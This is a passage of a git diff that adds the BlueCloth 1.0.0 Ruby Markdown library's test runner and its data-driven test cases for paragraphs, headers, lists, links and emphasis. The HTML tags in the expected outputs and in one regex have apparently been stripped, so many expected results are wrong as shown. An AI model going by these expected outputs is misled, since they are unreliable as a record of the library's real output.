%r{<(?![a-z/?\$!])}i, "<" ) + end + + + ### Return one level of line-leading tabs or spaces from a copy of +str+ and + ### return it. + def outdent( str ) + str.gsub( /^(\t|[ ]{1,#{TabWidth}})/, '') + end + +end # class BlueCloth + diff --git a/vendor/bluecloth-1.0.0/test.rb b/vendor/bluecloth-1.0.0/test.rb new file mode 100755 index 00000000..c86fca08 --- /dev/null +++ b/vendor/bluecloth-1.0.0/test.rb @@ -0,0 +1,117 @@ +#!/usr/bin/ruby +# +# Test suite for BlueCloth classes +# $Id: test.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $ +# + +BEGIN { + $basedir = File::dirname( __FILE__ ) + ["lib", "tests", "redist"].each do |subdir| + $LOAD_PATH.unshift File::join( $basedir, subdir ) + end + + require "#{$basedir}/utils" + include UtilityFunctions +} + +verboseOff { + require 'bctestcase' + require 'find' + require 'test/unit' + require 'test/unit/testsuite' + require 'test/unit/ui/console/testrunner' + require 'optparse' +} + +# Turn off output buffering +$stderr.sync = $stdout.sync = true +$DebugPattern = nil + +# Initialize variables +safelevel = 0 +patterns = [] +requires = [] + +# Parse command-line switches +ARGV.options {|oparser| + oparser.banner = "Usage: #$0 [options] [TARGETS]\n" + + oparser.on( "--debug[=PATTERN]", "-d[=PATTERN]", String, + "Turn debugging on (for tests which match PATTERN)" ) {|arg| + if arg + $DebugPattern = Regexp::new( arg ) + puts "Turned debugging on for %p." % $DebugPattern + else + $DEBUG = true + debugMsg "Turned debugging on globally." + end + } + + oparser.on( "--verbose", "-v", TrueClass, "Make progress verbose" ) { + $VERBOSE = true + debugMsg "Turned verbose on." + } + + # Handle the 'help' option + oparser.on( "--help", "-h", "Display this text." ) { + $stderr.puts oparser + exit!(0) + } + + oparser.parse! +} + +# Parse test patterns +ARGV.each {|pat| patterns << Regexp::new( pat, Regexp::IGNORECASE )} +$stderr.puts "#{patterns.length} patterns given on the command line" + +### Load all the tests from the tests dir +Find.find("#{$basedir}/tests") {|file| + Find.prune if /\/\./ =~ file or /~$/ =~ file + Find.prune if /TEMPLATE/ =~ file + next if File.stat( file ).directory? + + unless patterns.empty? + Find.prune unless patterns.find {|pat| pat =~ file} + end + + debugMsg "Considering '%s': " % file + next unless file =~ /\.tests.rb$/ + debugMsg "Requiring '%s'..." % file + require "#{file}" + requires << file +} + +$stderr.puts "Required #{requires.length} files." +unless patterns.empty? + $stderr.puts "[" + requires.sort.join( ", " ) + "]" +end + +# Build the test suite +class BlueClothTests + class << self + def suite + suite = Test::Unit::TestSuite.new( "BlueCloth" ) + + if suite.respond_to?( :add ) + ObjectSpace.each_object( Class ) {|klass| + suite.add( klass.suite ) if klass < BlueCloth::TestCase + } + else + ObjectSpace.each_object( Class ) {|klass| + suite << klass.suite if klass < BlueCloth::TestCase + } + end + + return suite + end + end +end + +# Run tests +$SAFE = safelevel +Test::Unit::UI::Console::TestRunner.new( BlueClothTests ).start + + + + diff --git a/vendor/bluecloth-1.0.0/tests/00_Class.tests.rb b/vendor/bluecloth-1.0.0/tests/00_Class.tests.rb new file mode 100755 index 00000000..e735d80a --- /dev/null +++ b/vendor/bluecloth-1.0.0/tests/00_Class.tests.rb @@ -0,0 +1,71 @@ +#!/usr/bin/ruby +# +# Unit test for the BlueCloth class object +# $Id: 00_Class.tests.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $ +# +# Copyright (c) 2004 The FaerieMUD Consortium. +# + +if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase ) + basedir = File::dirname( __FILE__ ) + require File::join( basedir, 'bctestcase' ) +end + + +### This test case tests ... +class BlueClothClassTestCase < BlueCloth::TestCase + + TestString = "foo" + + def test_00_class_constant + printTestHeader "BlueCloth: Class Constant" + + assert Object::constants.include?( "BlueCloth" ), + "No BlueCloth constant in Object" + assert_instance_of Class, BlueCloth + end + + def test_01_instantiation + printTestHeader "BlueCloth: Instantiation" + rval = nil + + # With no argument... ("") + assert_nothing_raised { + rval = BlueCloth::new + } + assert_instance_of BlueCloth, rval + assert_kind_of String, rval + assert_equal "", rval + + # String argument + assert_nothing_raised { + rval = BlueCloth::new TestString + } + assert_instance_of BlueCloth, rval + assert_kind_of String, rval + assert_equal TestString, rval + + addSetupBlock { + debugMsg "Creating a new BlueCloth" + @obj = BlueCloth::new( TestString ) + } + addTeardownBlock { + @obj = nil + } + end + + def test_02_duplication + printTestHeader "BlueCloth: Duplication" + rval = nil + + assert_nothing_raised { + rval = @obj.dup + } + assert_instance_of BlueCloth, rval + assert_kind_of String, rval + assert_equal TestString, rval + end + + +end + diff --git a/vendor/bluecloth-1.0.0/tests/05_Markdown.tests.rb b/vendor/bluecloth-1.0.0/tests/05_Markdown.tests.rb new file mode 100755 index 00000000..e2449ba1 --- /dev/null +++ b/vendor/bluecloth-1.0.0/tests/05_Markdown.tests.rb @@ -0,0 +1,1527 @@ +#!/usr/bin/ruby +# +# Test case for BlueCloth Markdown transforms. +# $Id: 05_Markdown.tests.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $ +# +# Copyright (c) 2004 The FaerieMUD Consortium. +# + +if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase ) + basedir = File::dirname( __FILE__ ) + require File::join( basedir, 'bctestcase' ) +end + + +### This test case tests ... +class SubfunctionsTestCase < BlueCloth::TestCase + + ### Test email address output + Emails = %w[ + address@example.com + foo-list-admin@bar.com + fu@bar.COM + baz@ruby-lang.org + foo-tim-bazzle@bar-hop.co.uk + littlestar@twinkle.twinkle.band.CO.ZA + ll@lll.lllll.ll + Ull@Ulll.Ulllll.ll + UUUU1@UU1.UU1UUU.UU + l@ll.ll + Ull.Ullll@llll.ll + Ulll-Ull.Ulllll@ll.ll + 1@111.ll + ] + # I can't see a way to handle IDNs clearly yet, so these will have to wait. + # info@ko.de + # jemand@bro.de + # irgendwo-interreant@dgta.se + #] + + def test_10_email_address + printTestHeader "BlueCloth: Inline email address" + rval = match = nil + + Emails.each {|addr| + assert_nothing_raised { + rval = BlueCloth::new( "<#{addr}>" ).to_html + } + + match = %r{

    [^<]+

    }.match( rval ) + assert_not_nil match, "Match against output #{rval}" + assert_equal "mailto:#{addr}", decode( match[1] ) + } + end + + + def decode( str ) + str.gsub( /&#(x[a-f0-9]+|\d{3});/i ) {|match| + code = $1 + debugMsg "Decoding %p" % code + + case code + when /^x([a-f0-9]+)/i + debugMsg " (hex) = %p" % $1.to_i(16).chr + $1.to_i(16).chr + when /\d{3}/ + debugMsg " (oct) = %p" % code.to_i.chr + code.to_i.chr + else + raise "Hmmm... malformed entity %p" % code + end + } + end + + + + ################################################################# + ### A U T O - G E N E R A T E D T E S T S + ################################################################# + + # Parse the data section into a hash of test specifications + TestSets = {} + begin + seenEnd = false + inMetaSection = true + inInputSection = true + section, description, input, output = '', '', '', '' + linenum = 0 + + # Read this file, skipping lines until the __END__ token. Then start + # reading the tests. + File::foreach( __FILE__ ) {|line| + linenum += 1 + if /^__END__/ =~ line then seenEnd = true; next end + debugMsg "#{linenum}: #{line.chomp}" + next unless seenEnd + + # Start off in the meta section, which has sections and + # descriptions. + if inMetaSection + + case line + + # Left angles switch into data section for the current section + # and description. + when /^<< linenum, + :sets => [], + } + + end + + # Data section has input and expected output parts + else + + case line + + # Right angles terminate a data section, at which point we + # should have enough data to add a test. + when /^>>>/ + TestSets[ section ][ description ][:sets] << [ input.chomp, output.chomp ] + + inMetaSection = true + inInputSection = true + input = ''; output = '' + + # 3-Dashed divider with text divides input from output + when /^--- (.+)/ + inInputSection = false + + # Anything else adds to either input or output + else + if inInputSection + input += line + else + output += line + end + end + end + } + end + + debugMsg "Test sets: %p" % TestSets + + # Auto-generate tests out of the test specifications + TestSets.each {|sname, section| + + # Generate a test method for each section + section.each do |desc, test| + methname = "test_%03d_%s" % + [ test[:line], desc.gsub(/\W+/, '_').downcase ] + + # Header + code = %{ + def #{methname} + printTestHeader "BlueCloth: #{desc}" + rval = nil + } + + # An assertion for each input/output pair + test[:sets].each {|input, output| + code << %{ + assert_nothing_raised { + obj = BlueCloth::new(%p) + rval = obj.to_html + } + assert_equal %p, rval + + } % [ input, output ] + } + + code << %{ + end + } + + + debugMsg "--- %s [%s]:\n%s\n---\n" % [sname, desc, code] + eval code + end + + } + +end + + +__END__ + +### [Paragraphs and Line Breaks] + +# Paragraphs +<<< +This is some stuff that should all be +put in one paragraph +even though +it occurs over several lines. + +And this is a another +one. +--- Should become: +

    This is some stuff that should all be +put in one paragraph +even though +it occurs over several lines.

    + +

    And this is a another +one.

    +>>> + +# Line breaks +<<< +Mostly the same kind of thing +with two spaces at the end +of each line +should result in +line breaks, though. + +And this is a another +one. +--- Should become: +

    Mostly the same kind of thing
    +with two spaces at the end
    +of each line
    +should result in
    +line breaks, though.

    + +

    And this is a another
    +one.

    +>>> + +# Escaping special characters +<<< +The left shift operator, which is written as <<, is often used & greatly admired. +--- Should become: +

    The left shift operator, which is written as <<, is often used & greatly admired.

    +>>> + +# Preservation of named entities +<<< +The left shift operator, which is written as <<, is often used & greatly admired. +--- Should become: +

    The left shift operator, which is written as <<, is often used & greatly admired.

    +>>> + +# Preservation of decimal-encoded entities +<<< +The left shift operator, which is written as <<, is often used & greatly admired. +--- Should become: +

    The left shift operator, which is written as <<, is often used & greatly admired.

    +>>> + +# Preservation of hex-encoded entities +<<< +The left shift operator, which is written as <<, is often used & greatly admired. +--- Should become: +

    The left shift operator, which is written as <<, is often used & greatly admired.

    +>>> + +# Inline HTML - table tags +<<< +This is a regular paragraph. + + + + + +
    Foo
    + +This is another regular paragraph. +--- Should become: +

    This is a regular paragraph.

    + + + + + +
    Foo
    + +

    This is another regular paragraph.

    +>>> + +# Inline HTML - div tags +<<< +This is a regular paragraph. + +
    + Something +
    +Something else. +--- Should become: +

    This is a regular paragraph.

    + +
    + Something +
    + +

    Something else.

    +>>> + + +# Inline HTML - Plain HR +<<< +This is a regular paragraph. + +
    + +Something else. +--- Should become: +

    This is a regular paragraph.

    + +
    + +

    Something else.

    +>>> + + +# Inline HTML - Fancy HR +<<< +This is a regular paragraph. + +
    + +Something else. +--- Should become: +

    This is a regular paragraph.

    + +
    + +

    Something else.

    +>>> + + +# Inline HTML - Iframe +<<< +This is a regular paragraph. + + + +Something else. +--- Should become: +

    This is a regular paragraph.

    + + + +

    Something else.

    +>>> + + +# Inline HTML - mathml +<<< +Examples +-------- + +Now that we have met some of the key players, it is time to see what we can +do. Here are some examples and comments which illustrate the use of the basic +layout and token elements. Consider the expression x2 + 4x + 4 = 0. A basic +MathML presentation encoding for this would be: + + + + + x + 2 + + + + 4 + x + + + 4 + = + 0 + + + +This encoding will display as you would expect. However, if we were interested +in reusing this expression in unknown situations, we would likely want to spend +a little more effort analyzing and encoding the logical expression structure. + +--- Should become: +

    Examples

    + +

    Now that we have met some of the key players, it is time to see what we can +do. Here are some examples and comments which illustrate the use of the basic +layout and token elements. Consider the expression x2 + 4x + 4 = 0. A basic +MathML presentation encoding for this would be:

    + + + + + x + 2 + + + + 4 + x + + + 4 + = + 0 + + + +

    This encoding will display as you would expect. However, if we were interested +in reusing this expression in unknown situations, we would likely want to spend +a little more effort analyzing and encoding the logical expression structure.

    +>>> + + +# Span-level HTML +<<< +This is some stuff with a spanned bit of text in +it. And this *should* be a bit of deleted text which should be +preserved, and part of it emphasized. +--- Should become: +

    This is some stuff with a spanned bit of text in +it. And this should be a bit of deleted text which should be +preserved, and part of it emphasized.

    +>>> + +# Inline HTML (Case-sensitivity) +<<< +This is a regular paragraph. + + + + + +
    Foo
    + +This is another regular paragraph. +--- Should become: +

    This is a regular paragraph.

    + + + + + +
    Foo
    + +

    This is another regular paragraph.

    +>>> + +# Span-level HTML (Case-sensitivity) +<<< +This is some stuff with a spanned bit of text in +it. And this *should* be a bit of deleted text which should be +preserved, and part of it emphasized. +--- Should become: +

    This is some stuff with a spanned bit of text in +it. And this should be a bit of deleted text which should be +preserved, and part of it emphasized.

    +>>> + + + +### [Code spans] + +# Single backtick +<<< +Making `code` work for you +--- Should become: +

    Making code work for you

    +>>> + +# Literal backtick with doubling +<<< +Making `` `code` `` work for you +--- Should become: +

    Making `code` work for you

    +>>> + +# Many repetitions +<<< +Making `````code````` work for you +--- Should become: +

    Making code work for you

    +>>> + +# Two in a row +<<< +This `thing` should be `two` spans. +--- Should become: +

    This thing should be two spans.

    +>>> + +# At the beginning of a newline +<<< +I should think that the +`tar` command would be universal. +--- Should become: +

    I should think that the +tar command would be universal.

    +>>> + +# Entity escaping +<<< +The left angle-bracket (`<`) can also be written as a decimal-encoded +(`<`) or hex-encoded (`<`) entity. +--- Should become: +

    The left angle-bracket (&lt;) can also be written as a decimal-encoded +(&#060;) or hex-encoded (&#x3c;) entity.

    +>>> + +# At the beginning of a document (Bug #525) +<<< +`world` views +--- Should become: +

    world views

    +>>> + + + + +### [Code blocks] + +# Para plus code block (literal tab) +<<< +This is a chunk of code: + + some.code > some.other_code + +Some stuff. +--- Should become: +

    This is a chunk of code:

    + +
    some.code > some.other_code
    +
    + +

    Some stuff.

    +>>> + +# Para plus code block (literal tab, no colon) +<<< +This is a chunk of code + + some.code > some.other_code + +Some stuff. +--- Should become: +

    This is a chunk of code

    + +
    some.code > some.other_code
    +
    + +

    Some stuff.

    +>>> + +# Para plus code block (tab-width spaces) +<<< +This is a chunk of code: + + some.code > some.other_code + +Some stuff. +--- Should become: +

    This is a chunk of code:

    + +
    some.code > some.other_code
    +
    + +

    Some stuff.

    +>>> + +# Para plus code block (tab-width spaces, no colon) +<<< +This is a chunk of code + + some.code > some.other_code + +Some stuff. +--- Should become: +

    This is a chunk of code

    + +
    some.code > some.other_code
    +
    + +

    Some stuff.

    +>>> + +# Colon with preceeding space +<<< +A regular paragraph, without a colon. : + + This is a code block. + +Some stuff. +--- Should become: +

    A regular paragraph, without a colon. :

    + +
    This is a code block.
    +
    + +

    Some stuff.

    +>>> + +# Single colon +<<< +: + + some.code > some.other_code + +Some stuff. +--- Should become: +

    :

    + +
    some.code > some.other_code
    +
    + +

    Some stuff.

    +>>> + +# Preserve leading whitespace (Bug #541) +<<< +Examples: + + # (Waste character because first line is flush left !!!) + # Example script1 + x = 1 + x += 1 + puts x + +Some stuff. +--- Should become: +

    Examples:

    + +
          # (Waste character because first line is flush left !!!)
    +      # Example script1
    +      x = 1
    +      x += 1
    +      puts x
    +
    + +

    Some stuff.

    +>>> + + +### [Horizontal Rules] + +# Hrule 1 +<<< +* * * +--- Should become: +
    +>>> + +# Hrule 2 +<<< +*** +--- Should become: +
    +>>> + +# Hrule 3 +<<< +***** +--- Should become: +
    +>>> + +# Hrule 4 +<<< +- - - +--- Should become: +
    +>>> + +# Hrule 5 +<<< +--------------------------------------- +--- Should become: +
    +>>> + + +### [Titles] + +# setext-style h1 +<<< +Title Text += +--- Should become: +

    Title Text

    +>>> + +<<< +Title Text +=== +--- Should become: +

    Title Text

    +>>> + +<<< +Title Text +========== +--- Should become: +

    Title Text

    +>>> + +# setext-style h2 +<<< +Title Text +- +--- Should become: +

    Title Text

    +>>> + +<<< +Title Text +--- +--- Should become: +

    Title Text

    +>>> + +<<< +Title Text +---------- +--- Should become: +

    Title Text

    +>>> + +# ATX-style h1 +<<< +# Title Text +--- Should become: +

    Title Text

    +>>> + +<<< +# Title Text # +--- Should become: +

    Title Text

    +>>> + +<<< +# Title Text ### +--- Should become: +

    Title Text

    +>>> + +<<< +# Title Text ##### +--- Should become: +

    Title Text

    +>>> + +# ATX-style h2 +<<< +## Title Text +--- Should become: +

    Title Text

    +>>> + +<<< +## Title Text # +--- Should become: +

    Title Text

    +>>> + +<<< +## Title Text ### +--- Should become: +

    Title Text

    +>>> + +<<< +## Title Text ##### +--- Should become: +

    Title Text

    +>>> + +# ATX-style h3 +<<< +### Title Text +--- Should become: +

    Title Text

    +>>> + +<<< +### Title Text # +--- Should become: +

    Title Text

    +>>> + +<<< +### Title Text ### +--- Should become: +

    Title Text

    +>>> + +<<< +### Title Text ##### +--- Should become: +

    Title Text

    +>>> + +# ATX-style h4 +<<< +#### Title Text +--- Should become: +

    Title Text

    +>>> + +<<< +#### Title Text # +--- Should become: +

    Title Text

    +>>> + +<<< +#### Title Text ### +--- Should become: +

    Title Text

    +>>> + +<<< +#### Title Text ##### +--- Should become: +

    Title Text

    +>>> + +# ATX-style h5 +<<< +##### Title Text +--- Should become: +
    Title Text
    +>>> + +<<< +##### Title Text # +--- Should become: +
    Title Text
    +>>> + +<<< +##### Title Text ### +--- Should become: +
    Title Text
    +>>> + +<<< +##### Title Text ##### +--- Should become: +
    Title Text
    +>>> + +# ATX-style h6 +<<< +###### Title Text +--- Should become: +
    Title Text
    +>>> + +<<< +###### Title Text # +--- Should become: +
    Title Text
    +>>> + +<<< +###### Title Text ### +--- Should become: +
    Title Text
    +>>> + +<<< +###### Title Text ##### +--- Should become: +
    Title Text
    +>>> + + +### [Blockquotes] + +# Regular 1-level blockquotes +<<< +> Email-style angle brackets +> are used for blockquotes. +--- Should become: +
    +

    Email-style angle brackets + are used for blockquotes.

    +
    +>>> + +# Doubled blockquotes +<<< +> > And, they can be nested. +--- Should become: +
    +
    +

    And, they can be nested.

    +
    +
    +>>> + +# Nested blockquotes +<<< +> Email-style angle brackets +> are used for blockquotes. + +> > And, they can be nested. +--- Should become: +
    +

    Email-style angle brackets + are used for blockquotes.

    + +
    +

    And, they can be nested.

    +
    +
    +>>> + +# Lazy blockquotes +<<< +> This is a blockquote with two paragraphs. Lorem ipsum dolor sit amet, +consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus. +Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus. + +> Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse +id sem consectetuer libero luctus adipiscing. +--- Should become: +
    +

    This is a blockquote with two paragraphs. Lorem ipsum dolor sit amet, + consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus. + Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus.

    + +

    Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse + id sem consectetuer libero luctus adipiscing.

    +
    +>>> + + +# Blockquotes containing other markdown elements +<<< +> ## This is a header. +> +> 1. This is the first list item. +> 2. This is the second list item. +> +> Here's some example code: +> +> return shell_exec("echo $input | $markdown_script"); +--- Should become: +
    +

    This is a header.

    + +
      +
    1. This is the first list item.
    2. +
    3. This is the second list item.
    4. +
    + +

    Here's some example code:

    + +
    return shell_exec("echo $input | $markdown_script");
    +
    +
    +>>> + +# Blockquotes with a
     section
    +<<<
    +> The best approximation of the problem is the following code:
    +>
    +> 
    +> foo + bar; foo.factorize; foo.display
    +> 
    +> +> This should result in an error on any little-endian platform. +--- Should become: +
    +

    The best approximation of the problem is the following code:

    + +
    +foo + bar; foo.factorize; foo.display
    +
    + +

    This should result in an error on any little-endian platform.

    +
    +>>> + + + +### [Images] + +# Inline image with title +<<< +![alt text](/path/img.jpg "Title") +--- Should become: +

    alt text

    +>>> + +# Inline image with title (single-quotes) +<<< +![alt text](/path/img.jpg 'Title') +--- Should become: +

    alt text

    +>>> + +# Inline image with title (with embedded quotes) +<<< +![alt text](/path/img.jpg 'The "Title" Image') +--- Should become: +

    alt text

    +>>> + +# Inline image without title +<<< +![alt text](/path/img.jpg) +--- Should become: +

    alt text

    +>>> + +# Inline image with quoted alt text +<<< +![the "alt text"](/path/img.jpg) +--- Should become: +

    the "alt text"

    +>>> + + +# Reference image +<<< +![alt text][id] + +[id]: /url/to/img.jpg "Title" +--- Should become: +

    alt text

    +>>> + + + +### [Emphasis] + +# Emphasis () with asterisks +<<< +Use *single splats* for emphasis. +--- Should become: +

    Use single splats for emphasis.

    +>>> + +# Emphasis () with underscores +<<< +Use *underscores* for emphasis. +--- Should become: +

    Use underscores for emphasis.

    +>>> + +# Strong emphasis () with asterisks +<<< +Use **double splats** for more emphasis. +--- Should become: +

    Use double splats for more emphasis.

    +>>> + +# Strong emphasis () with underscores +<<< +Use __doubled underscores__ for more emphasis. +--- Should become: +

    Use doubled underscores for more emphasis.

    +>>> + +# Combined emphasis types 1 +<<< +Use *single splats* or _single unders_ for normal emphasis. +--- Should become: +

    Use single splats or single unders for normal emphasis.

    +>>> + +# Combined emphasis types 2 +<<< +Use _single unders_ for normal emphasis +or __double them__ for strong emphasis. +--- Should become: +

    Use single unders for normal emphasis +or double them for strong emphasis.

    +>>> + +# Emphasis containing escaped metachars +<<< +You can include literal *\*splats\** by escaping them. +--- Should become: +

    You can include literal *splats* by escaping them.

    +>>> + +# Two instances of asterisked emphasis on one line +<<< +If there's *two* splatted parts on a *single line* it should still work. +--- Should become: +

    If there's two splatted parts on a single line it should still work.

    +>>> + +# Two instances of double asterisked emphasis on one line +<<< +This **doubled** one should **work too**. +--- Should become: +

    This doubled one should work too.

    +>>> + +# Two instances of underscore emphasis on one line +<<< +If there's _two_ underbarred parts on a _single line_ it should still work. +--- Should become: +

    If there's two underbarred parts on a single line it should still work.

    +>>> + +# Two instances of doubled underscore emphasis on one line +<<< +This __doubled__ one should __work too__. +--- Should become: +

    This doubled one should work too.

    +>>> + +# Initial emphasis (asterisk) +<<< +*Something* like this should be bold. +--- Should become: +

    Something like this should be bold.

    +>>> + +# Initial emphasis (underscore) +<<< +_Something_ like this should be bold. +--- Should become: +

    Something like this should be bold.

    +>>> + +# Initial strong emphasis (asterisk) +<<< +**Something** like this should be bold. +--- Should become: +

    Something like this should be bold.

    +>>> + +# Initial strong emphasis (underscore) +<<< +__Something__ like this should be bold. +--- Should become: +

    Something like this should be bold.

    +>>> + +# Partial-word emphasis (Bug #568) +<<< +**E**xtended **TURN** +--- Should become: +

    Extended TURN

    +>>> + + + +### [Links] + +# Inline link, no title +<<< +An [example](http://url.com/). +--- Should become: +

    An example.

    +>>> + +# Inline link with title +<<< +An [example](http://url.com/ "Check out url.com!"). +--- Should become: +

    An example.

    +>>> + +# Reference-style link, no title +<<< +An [example][ex] reference-style link. + +[ex]: http://www.bluefi.com/ +--- Should become: +

    An example reference-style link.

    +>>> + +# Reference-style link with quoted title +<<< +An [example][ex] reference-style link. + +[ex]: http://www.bluefi.com/ "Check out our air." +--- Should become: +

    An example reference-style link.

    +>>> + +# Reference-style link with paren title +<<< +An [example][ex] reference-style link. + +[ex]: http://www.bluefi.com/ (Check out our air.) +--- Should become: +

    An example reference-style link.

    +>>> + +# Reference-style link with one of each (hehe) +<<< +An [example][ex] reference-style link. + +[ex]: http://www.bluefi.com/ "Check out our air.) +--- Should become: +

    An example reference-style link.

    +>>> + +" <- For syntax highlighting + +# Reference-style link with intervening space +<<< +You can split the [linked part] [ex] from +the reference part with a single space. + +[ex]: http://www.treefrog.com/ "for some reason" +--- Should become: +

    You can split the linked part from +the reference part with a single space.

    +>>> + +# Reference-style link with intervening space +<<< +You can split the [linked part] + [ex] from the reference part +with a newline in case your editor wraps it there, I guess. + +[ex]: http://www.treefrog.com/ +--- Should become: +

    You can split the linked part from the reference part +with a newline in case your editor wraps it there, I guess.

    +>>> + +# Reference-style anchors +<<< +I get 10 times more traffic from [Google] [1] than from +[Yahoo] [2] or [MSN] [3]. + + [1]: http://google.com/ "Google" + [2]: http://search.yahoo.com/ "Yahoo Search" + [3]: http://search.msn.com/ "MSN Search" +--- Should become: +

    I get 10 times more traffic from Google than from +Yahoo or MSN.

    +>>> + +# Implicit name-link shortcut anchors +<<< +I get 10 times more traffic from [Google][] than from +[Yahoo][] or [MSN][]. + + [google]: http://google.com/ "Google" + [yahoo]: http://search.yahoo.com/ "Yahoo Search" + [msn]: http://search.msn.com/ "MSN Search" +--- Should become: +

    I get 10 times more traffic from Google than from +Yahoo or MSN.

    +>>> + +# Inline anchors +<<< +I get 10 times more traffic from [Google](http://google.com/ "Google") +than from [Yahoo](http://search.yahoo.com/ "Yahoo Search") or +[MSN](http://search.msn.com/ "MSN Search"). +--- Should become: +

    I get 10 times more traffic from Google +than from Yahoo or +MSN.

    +>>> + +# Graceful fail for unclosed brackets (and bug #524) +<<< +This is just a [bracket opener; it should fail gracefully. +--- Should become: +

    This is just a [bracket opener; it should fail gracefully.

    +>>> + +# Unresolved reference-style links (Bug #620) +<<< +This is an unresolved [url][1]. +--- Should become: +

    This is an unresolved [url][1].

    +>>> + + +### [Auto-links] + +# Plain HTTP link +<<< +This is a reference to . You should follow it. +--- Should become: +

    This is a reference to http://www.FaerieMUD.org/. You should follow it.

    +>>> + +# FTP link +<<< +Why not download your very own chandelier from ? +--- Should become: +

    Why not download your very own chandelier from ftp://ftp.usuc.edu/pub/foof/mir/?

    +>>> + + +### [Lists] + +# Unordered list +<<< +* Red +* Green +* Blue +--- Should become: +
      +
    • Red
    • +
    • Green
    • +
    • Blue
    • +
    +>>> + +# Unordered list w/alt bullets +<<< +- Red +- Green +- Blue +--- Should become: +
      +
    • Red
    • +
    • Green
    • +
    • Blue
    • +
    +>>> + +# Unordered list w/alt bullets 2 +<<< ++ Red ++ Green ++ Blue +--- Should become: +
      +
    • Red
    • +
    • Green
    • +
    • Blue
    • +
    +>>> + +# Unordered list w/mixed bullets +<<< ++ Red +- Green +* Blue +--- Should become: +
      +
    • Red
    • +
    • Green
    • +
    • Blue
    • +
    +>>> + +# Ordered list +<<< +1. Bird +2. McHale +3. Parish +--- Should become: +
      +
    1. Bird
    2. +
    3. McHale
    4. +
    5. Parish
    6. +
    +>>> + +# Ordered list, any numbers +<<< +1. Bird +1. McHale +1. Parish +--- Should become: +
      +
    1. Bird
    2. +
    3. McHale
    4. +
    5. Parish
    6. +
    +>>> + +# Ordered list, any numbers 2 +<<< +3. Bird +1. McHale +8. Parish +--- Should become: +
      +
    1. Bird
    2. +
    3. McHale
    4. +
    5. Parish
    6. +
    +>>> + +# Hanging indents +<<< +* Lorem ipsum dolor sit amet, consectetuer adipiscing elit. + Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi, + viverra nec, fringilla in, laoreet vitae, risus. +* Donec sit amet nisl. Aliquam semper ipsum sit amet velit. + Suspendisse id sem consectetuer libero luctus adipiscing. +--- Should become: +
      +
    • Lorem ipsum dolor sit amet, consectetuer adipiscing elit. +Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi, +viverra nec, fringilla in, laoreet vitae, risus.
    • +
    • Donec sit amet nisl. Aliquam semper ipsum sit amet velit. +Suspendisse id sem consectetuer libero luctus adipiscing.
    • +
    +>>> + +# Lazy indents +<<< +* Lorem ipsum dolor sit amet, consectetuer adipiscing elit. +Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi, +viverra nec, fringilla in, laoreet vitae, risus. +* Donec sit amet nisl. Aliquam semper ipsum sit amet velit. +Suspendisse id sem consectetuer libero luctus adipiscing. +--- Should become: +
      +
    • Lorem ipsum dolor sit amet, consectetuer adipiscing elit. +Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi, +viverra nec, fringilla in, laoreet vitae, risus.
    • +
    • Donec sit amet nisl. Aliquam semper ipsum sit amet velit. +Suspendisse id sem consectetuer libero luctus adipiscing.
    • +
    +>>> + +# Paragraph wrapped list items +<<< +* Bird + +* Magic +--- Should become: +
      +
    • Bird

    • +
    • Magic

    • +
    +>>> + +# Multi-paragraph list items +<<< +1. This is a list item with two paragraphs. Lorem ipsum dolor + sit amet, consectetuer adipiscing elit. Aliquam hendrerit + mi posuere lectus. + + Vestibulum enim wisi, viverra nec, fringilla in, laoreet + vitae, risus. Donec sit amet nisl. Aliquam semper ipsum + sit amet velit. + +2. Suspendisse id sem consectetuer libero luctus adipiscing. +--- Should become: +
      +
    1. This is a list item with two paragraphs. Lorem ipsum dolor +sit amet, consectetuer adipiscing elit. Aliquam hendrerit +mi posuere lectus.

      + +

      Vestibulum enim wisi, viverra nec, fringilla in, laoreet +vitae, risus. Donec sit amet nisl. Aliquam semper ipsum +sit amet velit.

    2. +
    3. Suspendisse id sem consectetuer libero luctus adipiscing.

    4. +
    +>>> + +# Lazy multi-paragraphs +<<< +* This is a list item with two paragraphs. + + This is the second paragraph in the list item. You're +only required to indent the first line. Lorem ipsum dolor +sit amet, consectetuer adipiscing elit. + +* Another item in the same list. +--- Should become: +
      +
    • This is a list item with two paragraphs.

      + +

      This is the second paragraph in the list item. You're +only required to indent the first line. Lorem ipsum dolor +sit amet, consectetuer adipiscing elit.

    • +
    • Another item in the same list.

    • +
    +>>> + +# Blockquote in list item +<<< +* A list item with a blockquote: + + > This is a blockquote + > inside a list item. +--- Should become: +
      +
    • A list item with a blockquote:

      + +
      +

      This is a blockquote + inside a list item.

      +
    • +
    +>>> + +# Code block in list item +<<< +* A list item with a code block: + + +--- Should become: +
      +
    • A list item with a code block:

      + +
      <code goes here>
      +
    • +
    +>>> + +# Backslash-escaped number-period-space +<<< +1986\. What a great season. +--- Should become: +

    1986. What a great season.

